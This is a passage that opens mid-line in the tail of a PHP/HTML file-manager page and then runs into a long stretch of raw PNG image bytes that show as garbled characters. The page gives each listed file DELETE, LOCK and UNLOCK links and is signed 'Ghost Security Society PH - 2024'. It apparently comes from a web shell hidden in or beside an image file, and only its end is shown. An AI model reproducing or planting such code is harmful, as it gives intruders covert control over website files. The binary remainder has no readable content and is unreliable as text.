".addslashes($entry)."?')\">DELETE</a>"; if (!$isLocked) { echo "<a class='btn-small' href='?lock=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">LOCK</a>"; } else { echo "<a class='btn-small' href='?unlock=$urlPath&" . getRedirectParams() . "' onclick=\"saveScrollPosition();\">UNLOCK</a>"; } echo "</div>"; echo "</li>"; } ?> </ul> </div> <div class="card" style="text-align:center;font-weight:bold;margin-top:14px"> @All Right Reserve Ghost Security Society PH - 2024 </div> </div> </body> </html> �J� IDATx��y|T�����-�d��! ���H�"^T\��(V�ׂ�X�u��o��-jk�^�v]��Z-m-V���bQ*� a �ȾN2ɬ���w�'�I2 �,���1��s���9�9����~�@ �@ �@ �@ �Y���@ ��s�=ҨQ��j��t:��j��h�ڈ�§5��.��I��$I�/��}>�P�P(D �3��$�O�@ �����y�@ q�g7�x���h���`0���c��ٔ��b4����h4b6���N�;�Q���) �`�������x�z��\.*++ٲe�"�Å�_��q�g<�B'�n��v�������f3����t:.��b�Z�q����$I���h�Zzzzp8��n>��C6n�xvm�@p�".f���n��z=z���NII W^y%V��������{6 ��0�����KOOv����M�رc��@ �_��W���)��P �S��zH���$99�F��W_ݯ�`"��tG��9���dm���� ���ꢭ����������B\��7Ƃ��.��.��Q�F���LLL̰�8Y".����^<���x<z{{�z��~��m�@@��B�`�@ �$I�|�>�%IB������IHH�`0(>��y111h4:��ш�`�l6c2�0�����`2����7>�������ضm�>�ׯ�$�@� .>�ळd�iy$%%a�X��ͥ��4�#m��B��v���0�ؕ�����f��*"������^|>>����H�"��ra0��@ �GG�T!z����Y��b00�L���`6�1����(M&F���Hzz:&�I�ȃ���HHHP���Pm����Z�n7]]]|��g��B �t�EF �pV�X!�z�dee���D/�N��|8�N ����h���V�766�r��|���~"���)�>�/�����!��:��`�"�`0��P�zE�L&���auT���d,YYY��Ǔ����[���V嶶6y�Wx��ŽK �P�EE ?��Ϥ��|,W_}5����҉Ē$�zq8ʀ���E�vww�r������r�p��8�N�l����`ʂU�V�h�@�>� ��%IB���N�` �m���u�q�M& ����|�錌�V+���$$$��h=z4������)�����% ���t:�裏X�f��� �#. �`X����t��3n�8-�7u���~��������477���ɱc�p:���u8J��@ ����#j5 >���?� ���?����" �<�.�D�^����p��|)�C�Z�Vqň���b���d������IOO'??���4RSS�Z���D f��AUUO<,���`���[����N���_~B�?r�5��I{{;6��#G����Noo/ ��v������n' ���L�g��TV-h�z���;�:�|��p��\�n�Z�cbb�,+����Abcc�Z����a�Z�Z�$&&���GZZ����FƍGll,F���6h��}�f{644�a��� ����^�<�@qq}X�b��_�jи��A-lB�>����&�9��墣�������������6z{{q8�EV��0��ř��P���V���\yY�����HQ[b���!\L��L.+/l[%�����Hm����ILL$>>���$2331�ͤ��0v�X������$##��8�d*�����~�����/���@ P�@�ڵk����v� .����Z���KCC �l6zzz�n]]]}|y�O�� �.C�)���F�7 �K�,� fɔ��\v j{�eJ1=��[Ne�p �蕿 Ð~�rT�;&&F�G���'%%���Brss���e������(��b�r�֭cѢE�^(�刋�@p�t�R鷿�-999��Ϋ~y���fc�tuuQYYISS������`��q:��� ��B���P��D�Z��˨�Sx]��T-�E�N��(Le��z)/;Qd!����A����`0��G�'=��?��F�UYݦ�dR2������Lff&���3z�hRSS���9!)�eZZZ���z�jqo�2�I/�,_�\*--�[n2QC4Ȯ.�������ٿ?MMM444�r���줫���ޯ�,v��i�ƥAM0�#���w��#�)�}T�lj�;���P�-*m�t���$|\x��~��>?ܲ�G@�[n����/�z=�aHw���X��� ))���4 �Z�1j�(RRR���^��?��O�ر�?���^)�ሓ\ 8C����/��7�!33���줮��={�p��1�������n���ى����)1t!���0���`B)���]�%5\���-�r�VR9I��1N�$���t�>d�F������v8� ���|>�Z��B������Q)�i����@-���D����I<����~�C �H.����8���HHH 55���l�L�BJJ �'O&)))�z�H�Dss3<� �����}S 8'�@pq�M7I7�|3�� i�������Hee%��f���ى���v��x���-���ƥa(�p�&G����B!�z=F��N��=V�FE������1��L&�Z-�����f%S�,T叼L���U�j���a��t��l'W9���QD��O���~%��:Ɉ�N�����۫�-O���`�p���" ��x��X�,�z�`0����8�9''���&M�Č3���!666bjpu�C� (//��祗^�P��A���i��ٳg�n5�z����������9t����8%ܙl}(\Y8��p�<9�,DeI �+��E��}M��V��d2���HBB�E��f�X��nr�b�ݎ��QR-�i���V^���h4���/��[�m>��5 ��zkw�R�>��@�@ �L�meee)�������M ����ۍ��W���� ��z��G���`�cY���h̃Y�×��\���d2�����j%;;��ӧ���KII ����Ro�� I{��ᗿ�%7n�S��4F���iƢE��ѣGs��r�y�[>���㡡���KYYUUU;v���ZZZ���Q,��ȯ�#�+<�n����n� �镅��`�b���hT"����㉏��l6+��h4�����d"b4Y�f ����z��C^o(�����oq��Ǒ�!'%%)�V��pe������444�[���-��2��GNN111�E5|[�t�M�L&�j��եd��\.��݊�Y���~�Ng�s P��#�;�#?��ԨE�\f�rjW���8�V+���dgg���nj35j&LP��E�&F���Y�f ����]�V�_��q� � ���.����eҤIî����с$I����w�^8@mm-���8�N�� ^��O�pA��P\Ԃ2ܯWmQT�: J�`9#��R�j������T��� �K���& ���+�#�#�D��������P��p�y�]�p�9rD���Z�V��!�/_�d�ɤ���@VV���x�^zzz��������ӣDq�\�%��r)�����Hn����Ʉ�Vda�]W�K���L�<�s�=�Q�F����X�G��f�[n������ ��DNQ���)++��}�{̜9S�?�W��`���:DUUUUU���(�a���l� g�"X=,\ �E�,t�F#IIIX,%y�:˙�,%%����O}}��+��VVV���ȕ-��m���%�Dѡ�Uo�e��9P߇�@���n�-����>Vg�CJ~~��-[ܵZ-˗/��+fY�]1\.6� ��Mwww������ �j�FB��l��l2�HHHP��7� &0}�t233���k�.���?SWW�o�!��)�81�S�={�HS�L��l$�,[ye�y�f<Hss3N����nE��[#%��}ge�"� (�z0��,�bbb���U�$&&b�XHKKS��V+���BKKz���Ŏ;��㏕u�Ůz���:�u$�ϴ6×�߿_��j��p8�rw�uF����d��z�ttt("�n�����/5��#�/Rt�>VG�P�����Ԯ��8>>���l���)))a���ʃ�`�C=�677���%��)�8)�S�%K�HS�N�g?��2o$�`�Á�fc�ΝTTT�g��v;8�Nŕ@f��e�ir۲����-��Ȗ:�ш�j%55���4���$66����F#qqq �Y��`0�����v���>�7<Ԙ��CYQOE�y:�9�6���0&�fI��8q"�E�8e����q��8�_�f����BWW]]]����v��(�⟬F�#��H���8őD�,�u:���EQQs��!;;���|���G�$��#��_�B܇�S q" � ,�֯_?,�&���L `ǎ���SYYImm-.���Moo�r�W�H�D��Q_��G�$)7��LJJ ���dgg���DFF������a2���l�|>~��(�bE����9�O�y�`��������`0�{�j��H��-ͫV�"11�P(���� ��E{{;---�����ڊ�nW��i4�7Y��8�E�`��0H ˖㤤$����>}:S�N������<bccG�V��+��l�2q?�A� (|�\{�Ҹq��IMMv}��GCC�����C���Р�~V�N��|J]���@"X&�A��(���h���5����V+X,e \EE��立����V>�ļU����E��e�m��`�X�;�5����v��c������f�Z-ӧOW�4���������ڊ��T�qkk+����*Q*dwu�pWY G�-|�d2)xL�0���"f̘AJJ III#ʖ�t:y�ᇩ��f͚5�,|��N ��X�d���3ϐ��6��===>|���*v��ž}�hhh��+qc�DI��)[�#��H~��|�Ti���IVV������h4*8��ɯ�k��+[~e�Z��9QbM��t��K�����ǭvs������Ê���p _�R�V���c2���t�|>���p8466���FSS���x�^�WG���B�oY��u��F��������fbbb�X,���p��RPP�̙3IOO'!!������~��|�Mq��ĉ&�D-Z$͙3���{D�=555�l6>��Sv��ECCC��q�VC_?�D0�\��BFFyyy��䐝��XȬV+����z�����d<SGz�ؐ�eN� ���9��<Q�P[�#Օ�m6�"�����j�Jj���T.��b%i�����r)J�=�������s"\K���R��~f5V���ƎKii)ӦMc�ԩ���Hx����źu��=[ 8I��K 8 ,Y�D��_�:"�BI������r��g��u�V%{�'X-|`�:a�`a��E���8..��Bnn.����3�ժ�.���u�]}B��ߑR���Y�mF�q2�TNv�غu+���v��4��{/���J\e�á��������m��q�e�\�����Wޜ�#ϷZ�$$$0y�dfΜIQQ�&MR����f�����of�����-�`�I%�@n��6��&66v�u�C��唕��k�.���p:��\.��"�E��|����`Y��F%�Crr2yyy�=�1c�(a�bbb���ٰa�"~������,�dA [��r��t��c��}��>�������$I���*�(++S�͙3�k���N�d]loo����Ç��ڊ���v�zq�Z���!W��)}�r6���D%}������ϧ�� ��ܯ�H��;��~Z����8���+��"�t�Mî���R��mڴ�}����Յ��S�mx�4��1�[��!<+��܄���ә0a999dee��hD�$V�^��@�|>%ႌ���7!GR�ln�T��@��>��ǎ;p8����5�����pmmm477s�������\.�^�{[�Z,GJ�Z��Z���LZZ�s3f�`���dgg���u7��/��@pb'�@0B���H�/��ov]��Aee%���|���ܹ��FOO~�?�3yp|O�G��866���TF�̈́ ���#>>��L0�ߧ���m۶��B�S��S��-W���F�K�\QQ�V�E��s�2~�x&M���磷�����=J}}= ��v%~wx����F&�0��"V�7���E�ד��KII��oGVVV?1>>� eeelذA��� N�`�������&N�8캭��;vL� ����f���ۋ���SVm� ���h�k_��D\\)))���RXXHAA������}�Q�W�'��-B�m�*�I��ã�2!�KJJ��?���G���M}}��wl�ٔh@wY$�űZ�b�-Ȳ���`PRFϘ1���"JJJHOO�S>?㚚��1 O &���{��t��W�dɒaՓ$��RUUŎ;ضm����D�Z��7�p+���K��Y��j�Z�$''�������)**"%%���>���N'|�bq��A|]V���o�T�zz$mj4�n7---���Q__��`������<�=�\�V+^���G�R]]�D|�����������X���̌�B��a�X=z4�g���K/U����ݹs'�>�,������Q N�`F�,�Hw����۩�����I�!�1��`9��`��W����`ԨQ��瓓�Cff&F��FC{{;�����z�1+�`���th�T�G�rx �@���I:�v[�l!�r��h4�r�-L�<�@ ��n���������imm������'ޱܶ��x0_cyZv����dffRRR�̙3�9s&yyyQ�S��s�u��@0��뿤G}4��UW�SQQ����)//��p(����+q+��-��|�F�̓$ �Ѩ$����&''�1cƐ���N���>��r��!��ۇ��W"C�#�c0�)s"��o�T�Z���"�6���j�=z��ρ����s��3m�4�����줾�^�w���J[[n���[�� c�Rk4bbb�Z����0k�,�̙CZZ����@����/x衇�}_ ��81�0~���I7�t)))ê���JYY{���/�`߾}x<|>_�Ar�rjԂU~+��j���ƒ����cǒ����l��t�ӟ��P(�����<1�u���u��M�th�T��pڌ6<\�y���_`��W�k���y��p:�444���@]]G����S�;�KE$7��|� ���3}�t�L�´i�������`�|>��y��Nq�T�B �����;�'�xbXu�� MMM���Q^^�'�|B}}=�@�� �X�y����6<V��2Yv����c�ر�?���L&;w���r��{���Յ��Q2�Eb�"W����B�m�*�����+�a�������ѣ�\.,X@bb"�����������Ç9z�(���466*1��I@��$����+��^�g̘1\x�J\���̨ö��}��<���BA,�裏J7�tS�݃!��۷��� �������z����9N�y��ő��CAA�����撜��F���;��c�-§�_�p�H��O�I, ��I%�˩˨_����Ȅ�߾iA�u�Qow�χ���O>A��).Q_|1�/������F��ꨮ���ѣ����y����@.0� <�ٌ�h$33���R�ΝKaa!�Ǐ�d21������q����z@pV#N �Y�m��&����|>v��ɮ]�ؾ};����UY�S)���5�599����+ 3���IHH������V����+��u�;'C��D�'B�/������P�9����։�W������&������\{�̙3�VKww7ǎ������*rv IDATp�\��&��u���zRRR�2e 3g�d���7nЇ|u����{/�<����q��:���ziժUÊ#��۫�Elٲ���*�",3!,I�b����e������Ajj*111������MI���N�i'�����Rϋd�=�6Åd4��h��C�c��^=}:�ׯSU�ڇr���>��ǃN���G%>>��IGG���>|�Ç��٩�C��d1�6�ͤ��2q�D�Ν˴i�ַ�����g\SS�����ի�>�U�^p�p�m�IO>���<�o�@���*�l��g�}������U��W�D=O�$[��n͗����7n�����撞���``��ݼ���}�C�i��H�8H�% ��V���1T��C���hŜK�t�ߴ �AG����9|�0Z��+���o}�[dgg���Ass3����߿���F�n�2� �0��,� cI�0�L$''3y�d.��BJKK)))A��(��ikk㮻����� ��q��x�,Y"=��Z�Å����СC|��G����{�n���q�\J��h,�j!,���f39993i�$���HLL�����{���n|>^�W�w�p*��HB�x���� ���:��:�K�#�3�� �˅V���w���b2��1c�\s ~�_�8p���*�����n��pa<X�h��@ �l6���Hii)3g�䢋.b�ĉ�|WYY�<��5k�^�ш\pFSSS#���G]^�$�9�G}Ķm�عs'v�}����߁@@��[��F#f��1c�0m�4ƎKFF���<x�'�|�ϧX�τr#�x�u��Ȃ<��D�`Μ9�s�=���q�m�QSS��d��7�$--���.�/_NKK˰�ړO>��b������j����z:���Ɖ�^�B�í�C��lWW�v�����.�-[F\\�s��cǎQQQAEEx<�>Ǹڭ"<Etx�6u����DfΜɬY����7n\�� ��fcٲelܸQ���8�g$�>���r�J`p9��FWW�1eee�ر�ͦ�������4���j�^�V��l�j����˔)S;v,���h4�z�):::hkk���w���$N��Qa�ѨX w"�ժU�X�l n����'�|���ƍ�7oIIIH��y�Ggg��S�����r��~;���W_}������x��8����6mK�,�h4hjj�W�������`���=+V�8%���-����Y.���x<�_��^OLLw�y'tww������9|�0MMM8�>����5��Lx� 9�cJJ 3f�`֬Y̛7����~���?��[n�Eh��8�g+W���}�٨�;�9;رc_|�}|v��pq-�G�i_�d&� ��ʤI��1c�ƍ#>>^y-�n�:�^� :�VN���1c'N����y��t�R������:��{իW �N�� �����/&&&��GVV�&??��EEE�_=qqq�o�����_���W_eǎ̚5�|�����]VV�Ν;��������o�����}�]���K{{�"ܽ^/���<��C<��#������7-^�nA|<m�����> h4V�XAZZiii���SQQAyy9���8�N�ڤ�e�S�2�$���t:iiiL�>����3{�lƌ�OT�m��Ƴ�>+4��Â3��n�MZ�j���ʼ�,áP�����}�v�l�¡C�hjj���)� ��"䛍K��#���Z��5�q��1y�d%��$I������W\#��H��pŇV���.�駟��rq���SWW��~�3�n����L���ioo��[o��e��~�ml6+V��O>p=ъ �����'�������MJJB��S__�������:���z=˖-����^ϑ#G5jF��������KZZ�w]tYYY�A\.�P�����l6����Ν�����/���,^���4,���!4���=����p���Ķm���t���?f���H�Dgg'�b������)�x���H��|e1���a���̚5��3gR\\L�tww�l�2֭['���GĂӞ��zJ�_��gS��|���|����ٳ�����§�2��7YO�6�)S�0z�hz{{�����_��+i��Q�hÝɃ��͛��9r�YYYL�8��+Wr��A6l�@^^���<�����K;v���r���JV�Z����y��[��KJJx��G�X,�F�9��`��ѣ�}���ƨ�T[,{�1bcc)--U�n5j�-�'?� ���X�Vغu+��ݘ�f^�u�V+W\qyyy���y��عs'IIIQ�M�բ�jY�p!111�]�6*�u���u�9^A<P�n��իWPPP� 7�@zz:^����*��˩���n��v��=���**|�-77�I�&q�0k�,&L�@�����\u�UBONk�,8mY�z��t�Ҩ���v6o�̧�~�Ν;���0j��Z�#Czz:�G������S�����$I�_����~�ߏ��F����?X�є������$��� �F#.����4\.?��OIJJ����뮻�FCcc#yyy|��G̟?�@ �����_|���ˑ$��+W���8b�~ �����IKK�f�a��;v,O>�$6l���h4��`ƌ��v\.����8��˙6m������ձ{�n�N'˖-��k�E�ѐ���lo�M�k��Ɯ9sX�`����z뭬^����O��=���X�v-�;��bQ�322�x<|���<xP9đe��k8��x�,A��h��۶m������dzb� �F#�`���j�����ijj���(ױ��Re۫��~����Xe��E]�y�GrrrT�0 ����q���]!8-���'����Ψ��~v���~��NUU===�M@F�*�AJ?X�ӑ����E���ɡC�hmm��_���W�q6��U��뉋���+�d˖-��ՍH|X�V��ʀ/Y �����'����h4lٲ��� ^{�5~���1q�D�/_�>|��Bmm-������h�Ii4�~.���9�y�G `� >|x�m���q�M7QZZ��b�<�}�v6m��ڵk)**��S�F�}�]^�u~��+�̲1���Ȗ-[(((`ӦM�߿�+���/��^x����KLL��9r��$1{�l:::HKK������AFF�Rnݺuǵ��A,? �\>��Z-^����z���V����������`0(o;<HCCC?�,����r�����RX,&L���ٳY�x1'N��c0�y�~��}!8����?����/D]���Q[[�;�ömۨ���������%��E�UX}S�ӣp�9�p�9琚�ʱc�X�f G���?x$�t'..���$�����q�<��c���LYY�{n��uш�Nǿ�ۿ��/�]��X�j/����#>*++C�ѐ����o��<�<������[�H��V�e����q�ddd���CCC��rv�=��j��ĉ���nj3ؼy3yyyTTT����X�v;��?�����Φ��������0����Ʋt�R��ʈ��c۶m�������ΪU�����/~�l��Ǽy��||���U|����OGG.D��c0hll���ü��K�����Z����<,���}D�&�G�f[[_|� H�ą^Ȓ%K�z���w�^:D]]n�5�����Q)$I�h4"IIII3g����o���GLLL���r�J��y�3��@���~i8��:ħ�~��͛��rx�7u��`9�JK��N�#%%����S\\�ĉ����rq�^x�z{{��!�B����J����[o�Ezz:&L����>���*�0\D��F��իW3w�\��a���444p�E�����������^Oss3�~�),����W_���H�#�S=o�ܹ<���$&&b��پ};���� �7z�h��JKKy�wx�W���"99�_�����Nrr2TWW��\z饤��(>&���^z�Y�fQ^^N0�_��~�!n�{�m���hoo����͛ioo������\@LL����l6���]�:���7�p�-R,��P��[���k��p8�jA�m����]�v�t:������R]]��ݻ��������[u_" �S�'--���b�͛�UW]ŨQ���@ ��`ZCp�3p[���瞓�z��ɬ�p8hkkc����/�w�����(V�@ @(Rn2���:�FLLV����.��.��&N�HGG�ׯ��_d�֭�\.:��75?������ZZZhnnf�ر̙3���|L&]]]�[����J��L�h�wg4��K�X,dff��x�g��/��S������_Njj*S�N�b��o�>>�쳈� ����o999|��������Ess3��9.�k���f�1q�D�d3[�l!��^�p���������B������ q�嗓����bA�����8�N�JNN]]]���p��~�X�-��b�j���x�x<QXXȋ/�Haa!�7oF��p�Klll������y��q�}�����233���e� ������Cm�SIo���IOO������v��P]]MKK�{.ddd���B0��v+o_da0,_�� �������8v���������lP����=z�|���(��o�F���:) I?�я�*����Ν;y��'y���y��w�����r� �}� JF8�*,�$�^Orr2�ַ���kY�d s��%))���rz�!>��czzz��=����@bb"˖-c���\}��S�>��3#I����F���D_�����ģ.�g��&���Ny���ڵk���a����n|>~�������M-.���Ell,�@�_҄h1�Z� ��˔)SHLL��uLe��G||<.����N>��SF��X �u����p�\��fZZZ����'�� �<&^{�5<��gϦ���q���v����R����w�� شi��w���o�9s&&� ��Dkk++V�賞���h 4 W\q��z+������q���t:)--��+����+�`ܸqJ�p�_�5S_+� ~���I}}=7n�'��^`˖-���F���s���矋�&8e���@�5m�I������ѣlܸ�m۶q��A���!KX��()N�����`�d21i�$ ),,d�ر�B!������{�����<S���K�|��gJ�۞����7ow�y'O=�T�:v���� !���ȧ�~ʔ)S�x<������4ǎ������DƏϱcdž�������Φ�����x��NfΜ�ҥKO���b�`�Xp:��|>�F#������ �-�FCJJ �w�'O�xl��Ybb"��Ց����ەPo�u$I�b��e�������`�ڵ�����U(������R���x���+x��W����3��l6����o��<��#��>�MMM��n���0���ݻ��Jww���9�.@z���K�"I|����/)))��o������ ����455�� [����V�c$�^/v���� .��B�?�|�L���� ?.f͚�$I���G�/_.v��Bb�)�w��]��^��|uu5�1�6m�������>~�j��zZ����%�h���:q�Df̘�رc����������Ooo�bi>�n��푐���{���W���`���W�����<��c�İLoo/���c����p� ̛7�}����X,}���"�^/۷o�?�yyy��ڒ$��'�������v���x�g���[�\�P��`0��h���' Q\\���rD۾N�###���:�� @dk�N�����FCnn.UUU}܂�� �Z�466RWW�/�˨P��;%%� 6p������ϧ�����ƍGUU�R��v3v�X�m��Ν;ILL����1cưy�f.��b�;Fjj*IIItww�a�Le W��.�����f�~�j��OJqq��{߾}�ٳ���f�~�RvG�}���0nll�f�Q[[��ۙ?>��w��Ȉ�?5˖-cٲe� 7�k��&v��@b�)���륫��z�r.����.***ذaeee444 DL���&��j���%//�o}�[�����d�7��w��r��Jw:r�bX����3�`4��������/����<�ƍIKK��O?���˪U�����F�������^4M��#%p��,\>�o��U�e�]�N�C���ꫯ�x�b��}V�X��ʚ���q:����)��ܧ�P�#[s�5�ө���5 ���̡P�Պ�`P�{��y��gy��������-����l6�w�&-- ��ˤI�_�p���iii!11���:;;IJJR�}{<%�G��+� �F��`��o�رc�B!�x� &L�����ʔ)S�D{��eϞ=ttt�{#�Z_][�^/�����vjjjؽ{7W^y%%%%$%%)���+˗/�.���#�8X�r��7K�$E%��~?��#�?�8~�!�����p�7��.$I�l6���ϥ�^��_ϥ�^JFFG���ofݺu�������3�<������1��,X� �F�֭[�m/��j�6�������v%���&..����磽�]y�;a��N�گ�,~�aF���n����Y�f�����o��:f:����Xey{{;�w玲���$��\v�e�>�Z�X,�?�|���#����'??������������#I)))$%%)뫩��X/++K�������p�5��p8?~<---8�~ =�Q�v�3�q�������VV�\ɭ�ފN����������~��L�>���$��_��1�/�����n7���|�<��S��/�Q�ϟ�$Iҏ~���՛�Cb�7�~���rI/��RT�>̛o������op�~��r��@ �Dz!�Zy�\zz:s��a� \z����n�:V�\�C=���t1?��%����\��v�m�6n��&�v;^�W k6m�4�^o�j�uJ��o���|��q���Z ��~�f3���x<n��6���-��+gn?~<%%%��O��e2.�������N'f�����w��p�,F�56� �ł���sΡ������AS���0�Ï'y:++���.��ɓ's��Q�� f�����~��������t���7��㩫������U\�%��D��%/���t�M,^��ɓ's�]w��+�`2�(--�nફ�bܸq���+m��N�F��v��@ ����n�s�V�^�s�=�o�AGGGT}��$IZ�`��}�����k���5k�H��{�<�2p����bu�-��FM�j_�w(B��a�Z)**��+����g̘1�FV�X��}��AOgsԈ��3��3���<rrrطoH��[o�������GFF]t^����8�n�ʶmێ+ĕV�����E��v��j�$''�~�z��٣�?�I�����sΡ���@ �G}DUUU�P��#m�|�I$I�������d�ԩ8<[�nUDF4a�*���h4,^����|�~�i�̙���A�ף��9t�G��6lݑ��߿��.����n������cܸqh4�����%�X���(�������x<��~�~���G�ϓU'�6Ov?������Ɍ;�s�=�͛7�~�zJKK���f��ь?�Ʉ����*�V�Jh�S��C���[��Icc#�����`�jo ���z&L�p�ڵkE�6�Ă��H�����_�dɐe%I����w�y�?��|�����)��e!������τ �W�yyy�|�M�z�)\.^�����Ŋ+���4�P�n���wߍN�C�4�� IDAT�QTTDYY�7o���'�v�����rSSuuu���# F��y����[o1�|����+,��VKvv6�g�&66��ϦM����F+D�<�����3w�\���h4����L�4�9s���o+�l�v��cƌ�[na�ر444`45jh�Z:::hii��t�H g�8�N����4if��`0ȨQ�x�hkkS��������FCGG~��χ�l�G?�cǎ헭�D��x� �8�8P/��L�(Gy�gx�w��ɡ��������0��x<�^o��6j+t�0�j��|>\.G�eϞ=��{4! ����6m�~�����J!�_B���.�W^���hȲ���lڴ�?���lܸ��G����E(RFC����+���Xƌ���2e ���o����~��*��d�E�@�N7�裏����h��Gzz:EEE���c�۱�l|��犠 ���ҥK��d��鴴��c�`�BA�$ �����llڴ����I��9s&>�����B���QZZ�̙3�7����iii����d0ذa7�x�2x����ѣG���JWW���\w�u���H1�u:%%%̙3����ŋ��㏙0an����rrr���b�֭}�v $4���~1��JKK�D(��={�`�ٔ�7�p�/Vn+++���">>��z������O��I�SI����wRR�f��n��e�֮]���=z4��������h��jK�,�#%�����kjjhllP/�ĉY�d n����[� Q,8�A,8�H�$]v�eC���l<x��_�?��O�����֦��-����UX��$I��:c�.���͛Gbb"|��<����}\~����zBB��Z2b2�����?���z�-֭[��#)�P���w��V�������3��~�i��v;YYYTWW��g�)�!�ш�FÊ+X�x1�w��0e���-n�ڵ}D�N�㮻���.~����jkky�F�����{�h�"$I"55���6�N'N��|�O��አ�2G����C���f�ը�����$''�ă�3���V�����\{�������/3}�tt:N����.RRR�6mz�^q�JKKC����c��k�.����q+o��oJ��]�NǤI�(--%..�^x�w�y��/����ƎKrr��V��R�T���W�l6�=�Ċ7���F%�L� �K.�����7l� D��"® NK�.�V�^�g�@#����y�wx��wٻw/��݊XP�jV`���洴4&L���Y�7nV����.�^z{{q�\g�k��?�2e �=�h4bbb�t:4 ����ݻ��qBֽ{�n:�ܹs9r�L�:��7F�o�ٌ����v+�e�����~�O<1��H�����V��Y�f�c����5j6����d���:^y��Kk�s�=GLL�ӟX�t)[�lQ� N---�۷�ɓ'�p8k��㡺�z��C����o�r�J����K����h4��xX�re��'��EEE�G��yyy���X�r%���yYXX�����J��pNDص���F��ő��ǢE��Pv�k��� �P<���aƌL�2����'?᪫��;��wyyy���SYY�d� �B}҈�Wa�~?z���EUUmmm�ڵ�E�q���Ci,_���˗��ł��Ă��@q��/v���>|���z��?����f�"3<z��[��b6�)((`ƌ̘1������Ë/������c�F�Q�7n�7�?��;<��{�dJ��7�-@h 0�P��R삈""*����"��,`y�"E�"H(� �� ����g&u�?���dRE�<וk&��˙s���Z��#FвeK֯_ϔ)Sh߾=���p�Vq� d�]��)*Ldgg���F��W`�L&�GNNN���1p�@8x� .\��~���e�����mw��www*++ټy3�۷���+++���9}�4�������駟V�|5VVV�ڵK�*WVVF�&Mغuk��^4���:t�>}��Y ���8{�,j�ڢ�Ž����O���ӓ)S��{�n���Ҳ�������Z�F��S\\���;�������XM]e����D�y���$�eh�ڵ̛7���2v��ITT���b�8�g��ƫB}���y��qtt����ܹ�1c�Я_?<==igΜ%��˂���C���***HKKC�Ւ���ŋ0` =z�3�zݺuL�4�0`��FR܈��F��F�UL�8�p���m۶��ظ�8�=���?�9"�A��˂��\��H�|5}||�ѣC�% �F���Y�j���5�Z�/Կ ���7o���?ϩS��3g���p�:u��_|�{),,$88���rss��be0�eРA4k�L��dgg+WS����({���Q*�̜9��Ǐs��M�2jZD�ղw�^�|�I���������H$|��w����TTT��o�1�|RRR(,,��Օ�;�r�J�w�E�,^��K�z���{���IKK������3 �@���ld2���|�����^�"�d2�_�ΐ!Ch֬]���]t�:z�(��Δ��s��a&M�D�Νqpp0���o� !����-//���JJJرc666���s��!0` Æ #))����j��\�J� �.4͚5�s�δmۖ�۷�e�� ���3͛7���M�������#| � �g��=//���8QO^�����Hm���cyRRRDEE5�Q4⮡�B܈��ٳg/^\�cϞ=˞={ػw/7n�@�Պ�!XN"�T� �H$���Ӻuk�v�J�nݐ�d;v��kע��E�ۚ�wY�4���[�l�ƍ����z$ yyy\�z�^�z1t�P 8�V��̙3,Y���Ǐ3bĈ;r0���`��;����ر�D��ڷo�J�"99�ݻw3d����K�|�I���پ};�;w6!�uA��1v�X6n܈J�����㉍��RZZ���;gΜA�ӑ�����������Y���j�������.�Lִ��X�tXYY���L\\M�6WInݺ����]�v}!�J����Y�f�5�˗/���"�G��2n�8*++ ]}��Hg0pww��W_%//Ot�jݺ5'O�d˖-lذ�L���5)))�����j&O�̩S����_����-�Ku��帻�3}�t���Ô)S�gϞ���������ILL�߂/���[�,V*�bR��� �9�͛7IHH`���4o�~�J�������>����C�B#!n�]����2!!�3g���o�Eff���h�mNx�&u*� ooo�w�N�.]prrB*�2e�JJJ�j��ʐd�D� ü��w���ӓ���@rr2����h>��c������{�=�N�Jhh(7n� $$���Hڷo_/?Қ����Jt�����^��Ǐ����<A��>